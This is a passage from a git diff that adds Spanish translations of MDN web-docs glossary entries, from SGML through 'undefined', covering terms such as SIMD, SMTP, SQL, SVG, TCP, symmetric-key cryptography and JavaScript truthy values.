+<p>El <em>Lenguaje de marcado generalizado estándar </em>(<strong>SGML</strong>) es una especificación {{Glossary("ISO")}} para definir lenguajes de marcado declarativos.</p>
+
+<p>En la Web, {{Glossary("HTML")}} 4, {{Glossary("XHTML")}}, y {{Glossary("XML")}}  son lenguajes populares basados en SGML. Vale la pena señalar que desde la quinta edición, HTML ya no está basado en SGML y tiene sus propias reglas de análisis.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "SGML")}} en Wikipedia</li>
+ <li><a href="http://www.isgmlug.org/">Introduction to SGML</a></li>
+</ul>
diff --git a/files/es/glossary/simd/index.html b/files/es/glossary/simd/index.html
new file mode 100644
index 0000000000..812153db21
--- /dev/null
+++ b/files/es/glossary/simd/index.html
@@ -0,0 +1,20 @@
+---
+title: SIMD
+slug: Glossary/SIMD
+tags:
+  - Arquitectura
+  - Glosario
+  - SIMD
+translation_of: Glossary/SIMD
+---
+<p>SIMD (pronunciado "sim-dee" en inglés) son las siglas de <strong>Single Instruction/Multiple Data</strong>, el cual es un tipo de  {{Interwiki("wikipedia","Taxonomía_de_Flynn","clasificación de arquitecturas de computadores")}}. SIMD permite realizar la misma operación en distintos datos lo que permite paralelismo mejorando el rendimiento — por ejemplo, en la compresión de gráficos 3D y videos, simulaciones físicas, criptografía y otros entornos.</p>
+
+<p>En contraposición, {{Glossary("SISD")}} es una arquitectura que funciona de forma secuencial tanto para datos como para instrucciones.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "SIMD")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/sincronico/index.html b/files/es/glossary/sincronico/index.html
new file mode 100644
index 0000000000..cfe10edd6f
--- /dev/null
+++ b/files/es/glossary/sincronico/index.html
@@ -0,0 +1,24 @@
+---
+title: Sincrónico
+slug: Glossary/Sincronico
+tags:
+  - Glosario
+  - Mecánicas
+  - Web
+  - WebMechanics
+translation_of: Glossary/Synchronous
+---
+<p>Sincrónico<em> se</em> refiere a la comunicación en tiempo real donde cada lado recibe (y si es necesario, procesa y responde) mensajes instantáneamente (o lo más cerca posible a instantáneamente).</p>
+
+<p>Un ejemplo humano es el teléfono — durante una llamada telefónica tiendes a responder a la otra persona inmediatamente.</p>
+
+<p>Muchos comandos de programación son también sincrónicos — por ejemplo cuando escribes en una calculadora, el entorno te devolverá el resultado instantáneamente, a menos que lo programes para no hacerlo.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li>{{glossary("Asynchronous")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">Solicitudes síncronas y asíncronas</a> usando la {{glossary("API")}} <a href="https://developer.mozilla.org/es/docs/Web/API/XMLHttpRequest">XMLHttpRequest()</a></li>
+</ul>
diff --git a/files/es/glossary/sisd/index.html b/files/es/glossary/sisd/index.html
new file mode 100644
index 0000000000..d3d89df4c1
--- /dev/null
+++ b/files/es/glossary/sisd/index.html
@@ -0,0 +1,20 @@
+---
+title: SISD
+slug: Glossary/SISD
+tags:
+  - Arquitectura
+  - Glosario
+  - SISD
+translation_of: Glossary/SISD
+---
+<p>SISD son las siglas de <strong>Single Instruction/Single Data</strong> la cual es una {{Interwiki("wikipedia","Flynn%27s_taxonomy","clasificación de arquitecturas")}}. En las arquitecturas SISD, un único procesador ejecuta una única instrucción sobre un único punto de la memoria.</p>
+
+<p>En contraposición {{Glossary("SIMD")}} es una arquitectura que permite realizar una operación sobre distintos puntos de memoria.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "SISD")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/sistema_gestion_contenidos/index.html b/files/es/glossary/sistema_gestion_contenidos/index.html
new file mode 100644
index 0000000000..e4a67f504b
--- /dev/null
+++ b/files/es/glossary/sistema_gestion_contenidos/index.html
@@ -0,0 +1,18 @@
+---
+title: Sistema de gestión de contenidos
+slug: Glossary/Sistema_gestion_contenidos
+tags:
+  - CMS
+  - Glosario
+  - Sistema de gestión de contenidos
+translation_of: Glossary/CMS
+---
+<p>Un sistema de gestión de contenidos o CMS es un programa informático que permite a los usuarios publicar, organizar, cambiar o eliminar diferentes tipos de contenido como texto, imágenes incrustadas, video, audio y código interactivo.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Sistema de gestión de contenidos")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/sld/index.html b/files/es/glossary/sld/index.html
new file mode 100644
index 0000000000..f578f2dda0
--- /dev/null
+++ b/files/es/glossary/sld/index.html
@@ -0,0 +1,20 @@
+---
+title: SLD
+slug: Glossary/SLD
+translation_of: Glossary/SLD
+---
+<p>Un dominio de nivel secundario, o SLD (Second Level Domain) es el nombre que se encuentra antes del dominio de nivel primario, o TLD (Top Level Domain).</p>
+
+<p>Por ejemplo, en el dominio <code>mozilla.org</code>, <code>mozilla</code> es el dominio de nivel secundario del TLD <code>.org</code>.</p>
+
+<p>Un nombre de dominio no está limitado a un TLD y a un SLD. Se pueden crear subdominios adicionales para proporcionar información adicional sobre las diferentes funciones de un servidor o para delimitar áreas bajo el mismo dominio. Por ejemplo, <code>www</code> es un subdominio muy común, que indica que el dominio apunta a un servidor web.</p>
+
+<p>Otro ejemplo es el de <code>developer.mozilla.org</code>, el subdominio <code>developer</code> es utilizado para especificar que el subdominio contiene la sección para desarrolladores del sitio web de Mozilla.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Second-level domain", "SLD")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/sloppy_mode/index.html b/files/es/glossary/sloppy_mode/index.html
new file mode 100644
index 0000000000..528f12aa36
--- /dev/null
+++ b/files/es/glossary/sloppy_mode/index.html
@@ -0,0 +1,22 @@
+---
+title: Modo poco riguroso — Sloppy
+slug: Glossary/Sloppy_mode
+tags:
+  - CodingScripting
+  - Glosario
+  - JavaScript
+  - Scripting
+  - Sloppy
+translation_of: Glossary/Sloppy_mode
+---
+<p>{{Glossary("ECMAScript")}} 5 y versiones posteriores permiten que los scripts opten por un nuevo {{jsxref("Strict_mode", "Modo estricto", "", 1)}}, que modifica la semántica de JavaScript de varias formas para mejorar su capacidad de recuperación y facilitar la comprensión de lo que sucede cuando hay problemas.</p>
+
+<p>El modo normal, no estricto de JavaScript a veces se denomina <strong>sloppy mode — modo poco riguroso</strong>. Esta no es una designación oficial, pero es probable que la encuentres si pasas tiempo haciendo código JavaScript serio.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>"<a href="http://speakingjs.com/es5/ch07.html#strict_mode">Modo estricto</a>" en el capítulo 7 ("Sintaxis de JavaScript") en el libro — Hablar <em>JavaScript</em>.</li>
+</ul>
diff --git a/files/es/glossary/slug/index.html b/files/es/glossary/slug/index.html
new file mode 100644
index 0000000000..6f83d97ed2
--- /dev/null
+++ b/files/es/glossary/slug/index.html
@@ -0,0 +1,17 @@
+---
+title: Slug
+slug: Glossary/Slug
+tags:
+  - Comunidad
+  - Slug
+  - URL
+  - Web
+translation_of: Glossary/Slug
+---
+<p><span class="seoSummary">Un "slug" es un identificador único parte de una dirección web, típicamente al final de una "URL". por ejemplo, en el contexto de MDN (página actual), el "slug" es la parte del url después de "&lt;locale&gt;/docs/" es decir "Glossary/Slug" </span></p>
+
+<p>Ver también</p>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Writing_style_guide#Choosing_titles_and_slugs">Escogiendo títulos y "slugs"</a></li>
+</ul>
diff --git a/files/es/glossary/smtp/index.html b/files/es/glossary/smtp/index.html
new file mode 100644
index 0000000000..3a3591cd0e
--- /dev/null
+++ b/files/es/glossary/smtp/index.html
@@ -0,0 +1,33 @@
+---
+title: SMTP
+slug: Glossary/SMTP
+tags:
+  - Colaboración
+  - Compartiendo
+  - Glosario
+  - Infraestructura
+  - Principiante
+translation_of: Glossary/SMTP
+---
+<p><strong>SMTP</strong> (Protocolo de Transferencia de Correo Simple por sus siglas en inglés) es un <a href="/es/docs/Glossary/Protocol">protocolo</a> utilizado para enviar un nuevo correo. Como <a href="/es/docs/Glossary/POP">POP3</a> y <a href="/es/docs/Glossary/NNTP">NNTP</a>, es un protocolo dirigido por <a href="/es/docs/Glossary/State_machine">estado de máquina</a>.</p>
+
+<p>El protocolo es relativamente simple. Las complicaciones principales incluyen soportar varios mecanismos de autenticación (<a class="external" href="http://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface"><abbr title="Generic Security Services Application Program Interface">GSSAPI</abbr></a>, <a class="external" href="http://en.wikipedia.org/wiki/CRAM-MD5"><abbr title="challenge-response authentication mechanism">CRAM-MD5</abbr></a>, <a class="external" href="http://en.wikipedia.org/wiki/NTLM"><abbr title="NT LAN Manager">NTLM</abbr></a>, MSN, AUTH LOGIN, AUTH PLAIN, etc.), manejo de respuestas de error, y retroceder cuando los mecanismos de autenticación fallan (p. ej., el servidor asegura que soporta un mecanismo, pero no).</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/es/docs/Glossary">Glosario</a>
+
+  <ol>
+   <li><a href="/es/docs/Glossary/NNTP">NNTP</a></li>
+   <li><a href="/es/docs/Glossary/POP">POP3</a></li>
+   <li><a href="/es/docs/Glossary/Protocol">protocolo</a></li>
+   <li><a href="/es/docs/Glossary/State_machine">estado de máquina</a></li>
+  </ol>
+ </li>
+ <li>Artículos de Wikipedia
+  <ol>
+   <li><a href="https://es.wikipedia.org/wiki/Protocolo_para_transferencia_simple_de_correo">SMTP</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/sql/index.html b/files/es/glossary/sql/index.html
new file mode 100644
index 0000000000..ada00ed61d
--- /dev/null
+++ b/files/es/glossary/sql/index.html
@@ -0,0 +1,25 @@
+---
+title: SQL
+slug: Glossary/SQL
+tags:
+  - BBDD
+  - Glosario
+  - Sql
+translation_of: Glossary/SQL
+---
+<p><strong>SQL </strong>por sus siglas en inglés significa Lenguaje de Consulta Estructurada (Structured Query Language), es un lenguaje de programación diseñado para actualizar, obtener, y calcular información en bases de datos relacionales.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/SQL">SQL</a> en Wikipedia</li>
+</ul>
+
+<h3 id="Aprende_SQL">Aprende SQL</h3>
+
+<ul>
+ <li><a href="http://sqlzoo.net/wiki/SQL_Tutorial">Aprende SQL en sqlzoo.net</a></li>
+ <li><a href="http://www.tutorialspoint.com/sql/">Tutorial Point</a></li>
+</ul>
diff --git a/files/es/glossary/string/index.html b/files/es/glossary/string/index.html
new file mode 100644
index 0000000000..39b3429257
--- /dev/null
+++ b/files/es/glossary/string/index.html
@@ -0,0 +1,22 @@
+---
+title: String
+slug: Glossary/String
+tags:
+  - Cadena de caracteres
+  - Glosario
+  - Principiante
+  - String
+translation_of: Glossary/String
+---
+<p id="Summary">En cualquier lenguaje de programación, un string es una secuencia de {{Glossary("character","caracteres")}} usado para representar el texto.</p>
+
+<p>En {{Glossary("JavaScript","JavaScript")}}, un String es uno de los {{Glossary("Primitivo", "valores primitivos")}} y el objeto {{jsxref("String")}} es un {{Glossary("wrapper","envoltorio")}} alrededor de un String primitivo.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures#String_type">Tipos de datos y estructura de datos en JavaScript</a></li>
+ <li><a href="http://es.wikipedia.org/wiki/Cadena_de_caracteres">String en Wikipedia</a></li>
+</ul>
diff --git a/files/es/glossary/svg/index.html b/files/es/glossary/svg/index.html
new file mode 100644
index 0000000000..59eff7e338
--- /dev/null
+++ b/files/es/glossary/svg/index.html
@@ -0,0 +1,33 @@
+---
+title: SVG
+slug: Glossary/SVG
+translation_of: Glossary/SVG
+---
+<p>Gráficos vectoriales escalables (del inglés <em><strong>S</strong>calable <strong>V</strong>ector <strong>G</strong>raphics</em>) o <strong>SVG</strong> es un formato de imagen vectorial 2D basado en una sintaxis de {{Glossary("XML")}} .</p>
+
+<p>{{Glossary("W3C")}} comenzó a trabajar en SVG a finales de la década de 1990, pero SVG solo se hizo popular cuando {{Glossary("Microsoft Internet Explorer", "Internet Explorer")}} 9 salió con soporte para SVG. Todos los principales {{Glossary("browser","navegadores")}} ahora son compatibles con SVG.</p>
+
+<p>Basado en una sintaxis de {{Glossary("XML")}}, SVG se puede diseñar con {{Glossary("CSS")}} e interactuar usando {{Glossary("JavaScript")}}. HTML5 ahora permite la inserción directa de {{Glossary("Tag","etiquetas")}} SVG en un documento {{Glossary("HTML")}}.</p>
+
+<p>Como <a href="http://en.wikipedia.org/wiki/Vector_graphics">formato de imagen vectorial</a>, los gráficos SVG pueden escalarse infinitamente, lo que los hace inestimables en {{Glossary("responsive design")}}, ya que puede crear elementos de interfaz y gráficos que se adaptan a cualquier tamaño de pantalla. SVG también proporciona un útil conjunto de herramientas, como recorte, enmascaramiento, filtros y animaciones.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "SVG")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Aprendiendo_SVG">Aprendiendo SVG</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">W3.org's SVG Primer</a></li>
+</ul>
+
+<h3 id="Información_técnica">Información técnica</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/SVG">Documentación de SVG en MDN</a></li>
+ <li><a href="http://www.w3.org/TR/SVG/" rel="external">Última especificación SVG</a></li>
+</ul>
diff --git a/files/es/glossary/svn/index.html b/files/es/glossary/svn/index.html
new file mode 100644
index 0000000000..a3be18dc2a
--- /dev/null
+++ b/files/es/glossary/svn/index.html
@@ -0,0 +1,24 @@
+---
+title: SVN
+slug: Glossary/SVN
+tags:
+  - Colaboración
+  - Glosario
+translation_of: Glossary/SVN
+---
+<p>Apache Subversion (<strong>SVN</strong>) es un sistema ({{Glossary("SCM")}}) de código abierto de control de almacenamiento. Permite a los desarrolladores mantener un historial de modificaciones de texto y código. Aunque SVN también puede manejar archivos binarios, no recomendamos su utilización para tales archivos.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Subversion_(software)", "Apache Subversion")}} en Wikipedia</li>
+ <li><a href="https://subversion.apache.org/">Sitio web oficial</a></li>
+</ul>
+
+<h3 id="Véase_tambiém">Véase tambiém</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Localization/SVN_guide_for_localizers">Guía SVN para localizadores en MDN</a></li>
+</ul>
diff --git a/files/es/glossary/symbol/index.html b/files/es/glossary/symbol/index.html
new file mode 100644
index 0000000000..1c1a6632e6
--- /dev/null
+++ b/files/es/glossary/symbol/index.html
@@ -0,0 +1,21 @@
+---
+title: Symbol
+slug: Glossary/Symbol
+tags:
+  - Glosario
+  - JavaScript
+  - Principiante
+translation_of: Glossary/Symbol
+---
+<p>Un Symbol es un tipo de dato primitivo en cuyos casos son únicos e inmutables. En algunos lenguajes de programación son también llamados atoms(átomos).</p>
+
+<p>En <a href="/es/docs/Glossary/JavaScript">JavaScript</a>, Symbol es uno de los {{Glossary("Primitivo", "valores primitivos")}} y el objeto de <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a> es un {{Glossary("Wrapper", "envoltorio")}} alrededor de un Symbol primitivo.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="http://en.wikipedia.org/wiki/Symbol_%28programming%29">Symbol en Wikipedia</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Tipos de datos y estructura de datos en JavaScript</a></li>
+</ul>
diff --git a/files/es/glossary/symmetric-key_cryptography/index.html b/files/es/glossary/symmetric-key_cryptography/index.html
new file mode 100644
index 0000000000..4677afd8c3
--- /dev/null
+++ b/files/es/glossary/symmetric-key_cryptography/index.html
@@ -0,0 +1,18 @@
+---
+title: Criptografía de clave simétrica
+slug: Glossary/Symmetric-key_cryptography
+translation_of: Glossary/Symmetric-key_cryptography
+---
+<p> </p>
+
+<p> </p>
+
+<p>La criptografía de clave simétrica es un término utilizado para los algoritmos criptográficos que utilizan la misma clave para el cifrado y el descifrado. La clave se suele llamar "clave simétrica" o "clave secreta".</p>
+
+<p>Esto generalmente se contrasta con {{Glossary ("public-key cryptography","criptografía de clave pública")}} en el que las claves se generan en pares, y la transformación realizada por una clave solo se puede revertir utilizando la otra clave.</p>
+
+<p>Los algoritmos de clave simétrica son seguros y altamente eficientes cuando se usan de manera adecuada, de modo que pueden usarse para cifrar grandes cantidades de datos sin tener un efecto negativo en el rendimiento.</p>
+
+<p>La mayoría de los algoritmos de clave simétrica actualmente en uso son cifrados de bloque: esto significa que cifran los datos bloque por bloque. El tamaño de cada bloque está fijado y determinado por el algoritmo: por ejemplo, {{Glossary ("AES","AES")}} utiliza bloques de 16 bytes. Los cifrados de bloque siempre se utilizan con un <em>modo</em>, que especifica cómo cifrar de forma segura los mensajes que son más largos que el tamaño de bloque. Por ejemplo, AES es un cifrado, mientras que CTR, CBC y GCM son todos modos. El uso de un modo inapropiado, o el uso de un modo incorrecto, puede socavar completamente la seguridad proporcionada por el cifrado subyacente.</p>
+
+<p> </p>
diff --git a/files/es/glossary/tag/index.html b/files/es/glossary/tag/index.html
new file mode 100644
index 0000000000..69193d7643
--- /dev/null
+++ b/files/es/glossary/tag/index.html
@@ -0,0 +1,24 @@
+---
+title: Etiqueta
+slug: Glossary/Tag
+tags:
+  - HTML
+  - etiqueta
+translation_of: Glossary/Tag
+---
+<p>En {{Glossary("HTML")}} una etiqueta es usada para crear un {{Glossary("elemento")}}.  El <strong>nombre</strong> de un elemento HTML es el <strong>nombre</strong> utilizado entre paréntesis angulares así como la etiqueta <code>&lt;p&gt;</code> para el párrafo.  Tenga en cuenta que el nombre de la etiqueta de cierre está precedido por un carácter de barra inclinada, <code>&lt;/p&gt;</code>, y que en los elementos vacíos la etiqueta final no es necesaria ni permitida. Si no se mencionan atributos, se utilizan valores por defecto en cada caso. </p>
+
+<h2 id="Aprende_más"><strong>Aprende más</strong></h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "HTML element")}} en Wikipedia</li>
+ <li><a href="http://www.w3.org/History/19921103-hypertext/hypertext/WWW/MarkUp/Tags.html">HTML Tags on W3 </a></li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/HTML_tags">What are HTML tags &amp; how to use them [en-US]</a></li>
+</ul>
diff --git a/files/es/glossary/tcp/index.html b/files/es/glossary/tcp/index.html
new file mode 100644
index 0000000000..5e5d566fa2
--- /dev/null
+++ b/files/es/glossary/tcp/index.html
@@ -0,0 +1,27 @@
+---
+title: TCP
+slug: Glossary/TCP
+tags:
+  - Datos
+  - Glosario
+  - Infraestructura
+  - Protocolo de Control de Transmisión
+  - TCP
+  - red
+translation_of: Glossary/TCP
+---
+<p id="Summary">TCP (Protocolo de Control de Transmisión por sus siglas en inglés) es un importante <a href="/es/docs/Glossary/Protocol">protocolo</a> de red que permite que dos <a href="/es/docs/Glossary/Host">hosts</a> (anfitriones) se conecten e intercambien flujos de datos. TCP garantiza la entrega de datos y <a href="/es/docs/Glossary/Packet">paquetes</a> en el mismo orden en que se enviaron. Vint Cerf y Bob Kahn, quienes eran científicos de DARPA en ese momento, diseñaron TCP en la década de los 70s.</p>
+
+<p>El rol de TCP es garantizar que los paquetes se entreguen de forma confiable y sin errores. TCP tiene control de concurrencia, lo que significa que las solicitudes iniciales serán pequeñas, ha medida que estas crecen, lo hacen hasta los niveles de ancho de banda que pueden soportar las computadoras, servidores y redes.</p>
+
+<h2 id="Aprende_más"><strong>Aprende más</strong></h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="/es/docs/Glossary/IPv4">IPv4</a></li>
+ <li><a href="/es/docs/Glossary/IPv6">IPv6</a></li>
+ <li><a href="/es/docs/Glossary/Packet">Paquete</a></li>
+ <li>{{Interwiki("wikipedia", "Transmission Control Protocol")}} en Wikipedia</li>
+ <li>Artículo <a href="/es/docs/Web/HTTP/Overview">Visión General HTTP</a></li>
+</ul>
diff --git a/files/es/glossary/textocifrado/index.html b/files/es/glossary/textocifrado/index.html
new file mode 100644
index 0000000000..65315ab297
--- /dev/null
+++ b/files/es/glossary/textocifrado/index.html
@@ -0,0 +1,19 @@
+---
+title: Texto Cifrado
+slug: Glossary/TextoCifrado
+tags:
+  - Cryptography
+  - Glossary
+  - Privacy
+  - Security
+translation_of: Glossary/Ciphertext
+---
+<p>En {{glossary("Cryptography", "Criptografía")}}, un texto cifrado es un mensaje codificado que transmite información pero no es legible a menos que se {{glossary("decryption","descifre")}} con el {{glossary("cipher", "algoritmo criptográfico")}} correcto y el secreto correcto (generalmente una {{glossary("key","clave")}}), reproduciendo el {{glossary("cleartext", "texto simple")}} original. La seguridad de un texto cifrado, y por lo tanto el secreto de la información contenida, depende de usar un cifrado seguro y mantener la clave en secreto.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Ciphertext")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/textosimple/index.html b/files/es/glossary/textosimple/index.html
new file mode 100644
index 0000000000..2c76ac8212
--- /dev/null
+++ b/files/es/glossary/textosimple/index.html
@@ -0,0 +1,14 @@
+---
+title: Texto Simple
+slug: Glossary/TextoSimple
+tags:
+  - Cryptography
+  - Glossary
+  - Security
+translation_of: Glossary/Plaintext
+---
+<p dir="ltr">Texto simple se refiere a la información que se está utilizando como entrada para un {{Glossary("algorithm", "algoritmo")}} de {{Glossary("encryption","cifrado")}}, o para el {{Glossary("ciphertext", "texto cifrado")}} que se ha descifrado.</p>
+
+<p dir="ltr">Con frecuencia se usa indistintamente con el término texto claro, que se refiere de manera más general a cualquier información, como un documento de texto, una imagen, etc., que no se haya cifrado y que un humano o una computadora puedan leer sin procesamiento adicional.</p>
+
+<p> </p>
diff --git a/files/es/glossary/three_js/index.html b/files/es/glossary/three_js/index.html
new file mode 100644
index 0000000000..5fffb5b91e
--- /dev/null
+++ b/files/es/glossary/three_js/index.html
@@ -0,0 +1,21 @@
+---
+title: Three js
+slug: Glossary/Three_js
+tags:
+  - JavaScript
+  - Lenguaje de programación
+  - Scripting de Código
+  - buscador
+  - three.js
+translation_of: Glossary/Three_js
+---
+<p>three.js es un motor {{Glossary("WebGL")}} basado en {{Glossary("JavaScript")}} que puede ejecutar juegos con GPU y otras aplicaciones con gráficos directamente desde el {{Glossary("browser")}} </p>
+
+<p><font>La biblioteca three.js proporciona muchas funciones y </font>{{Glossary("API","APIs")}}<font> para dibujar escenas 3D en su navegador. </font></p>
+
+<h3 id="Conocimientos_Generales">Conocimientos Generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Three.js")}} en Wikipedia</li>
+ <li><a href="http://threejs.org/">sitio oficial de three.js</a></li>
+</ul>
diff --git a/files/es/glossary/tipado_dinámico/index.html b/files/es/glossary/tipado_dinámico/index.html
new file mode 100644
index 0000000000..c8ee61a087
--- /dev/null
+++ b/files/es/glossary/tipado_dinámico/index.html
@@ -0,0 +1,24 @@
+---
+title: Tipado Dinámico
+slug: Glossary/Tipado_dinámico
+tags:
+  - Código
+  - Glosario
+  - LenguajeDeProgramación
+translation_of: Glossary/Dynamic_typing
+---
+<p><strong>Los lenguajes de tipado dinámico</strong> son aquellos (como {{glossary("JavaScript")}}) donde el intérprete asigna a las {{glossary("variable","variables")}} un {{glossary("tipo")}} durante el tiempo de ejecución basado en su {{glossary("valor")}} en ese momento.</p>
+
+<h2 id="Ver_más">Ver más</h2>
+
+<h3 id="Conoce_sobre_el_tema">Conoce sobre el tema</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Data_structures">Tipos de datos y estructuras de datos en Javascript</a></li>
+</ul>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Sistema_de_tipos", "Sistema de tipos")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/tipificación_estática/index.html b/files/es/glossary/tipificación_estática/index.html
new file mode 100644
index 0000000000..161ab31c61
--- /dev/null
+++ b/files/es/glossary/tipificación_estática/index.html
@@ -0,0 +1,18 @@
+---
+title: Tipificación estática
+slug: Glossary/Tipificación_estática
+tags:
+  - CodingScripting
+  - Glossary
+  - Type
+translation_of: Glossary/Static_typing
+---
+<p>Un lenguaje de <strong>tipo estático </strong>es un lenguaje (como Java, C, o C++) en donde los tipos de variables se conocen en tiempo de compilación. En la mayoria de estos lenguajes, los tipos deben ser expresamente indicados por el programador; en otros casos (como en OCaml), la inferencia de tipos permite al programador no indicar sus tipos de variables.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Type system")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/truthy/index.html b/files/es/glossary/truthy/index.html
new file mode 100644
index 0000000000..bc1dccbace
--- /dev/null
+++ b/files/es/glossary/truthy/index.html
@@ -0,0 +1,41 @@
+---
+title: Truthy
+slug: Glossary/Truthy
+tags:
+  - CodingScripting
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Truthy
+---
+<p>En {{Glossary("JavaScript")}}, un <strong>valor verdadero</strong> es un valor que se considera  <code>true/verdadero</code> cuando es evaluado en un contexto {{Glossary("Booleano")}}. Todos los valores son verdaderos a menos que se definan como {{Glossary("Falso", "falso")}} (es decir, excepto <code>false</code>, <code>0</code>, <code>""</code>, <code>null</code>, <code>undefined</code>, y <code>NaN</code>).</p>
+
+<p>{{Glossary("JavaScript")}} usa {{Glossary("Type_Conversion", "coerción")}} en los contextos Booleanos.</p>
+
+<p>Ejemplos de valores <em>verdaderos</em> en JavaScript (los cuales se traducirán a verdaderos y por lo tanto ejecutarán el bloque condicional <code>if</code>):</p>
+
+<pre class="brush: js">if (true)
+if ({})
+if ([])
+if (42)
+if ("foo")
+if (new Date())
+if (-42)
+if (3.14)
+if (-3.14)
+if (Infinity)
+if (-Infinity)
+</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Glossary("Falsy")}}</li>
+ <li>{{Glossary("Type_Conversion", "Coercion")}}</li>
+ <li>{{Glossary("Boolean")}}</li>
+</ul>
+
+<div>
+<article>
+<p>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</p>
+</article>
+</div>
diff --git a/files/es/glossary/type/index.html b/files/es/glossary/type/index.html
new file mode 100644
index 0000000000..cec8be233e
--- /dev/null
+++ b/files/es/glossary/type/index.html
@@ -0,0 +1,21 @@
+---
+title: Type
+slug: Glossary/Type
+tags:
+  - CodingScripting
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Type
+---
+<p>El <strong>tipo</strong> (<em>type</em> o <em>data type</em>) es una característica of una {{glossary("value", "valor")}} que afecta al tipo de datos que puede almacenar; por ejemplo, en JavaScript un {{domxref("Boolean")}} solo tiene valores <code>true</code>/<code>false</code>, mientras que un {{domxref("String")}} contiene cadenas de texto, un {{domxref("Number")}} contiene números de cualquier tipo, y así sucesivamente.</p>
+
+<p>El tipo de datos de un valor también afecta a qué operaciones son válidas en ese valor. Por ejemplo, un entero puede multiplicarse por un entero, pero no por una cadena.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Tipo_de_dato", "Data Type")}} en Wikipedia</li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Data_structures">Data types en JavaScript</a></li>
+</ul>
diff --git a/files/es/glossary/undefined/index.html b/files/es/glossary/undefined/index.html
new file mode 100644
index 0000000000..f27d2dc702
--- /dev/null
+++ b/files/es/glossary/undefined/index.html
@@ -0,0 +1,15 @@
+---
+title: undefined
+slug: Glossary/undefined
+translation_of: Glossary/undefined
+---
+<p>Un valor <strong>{{Glossary("primitivo")}} </strong>automáticamente asignado a las <strong>variables</strong> que solo han sido declarados o a los <strong>{{Glossary("Argument","argumentos")}}</strong> formales para los cuales no existe argumentos reales.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
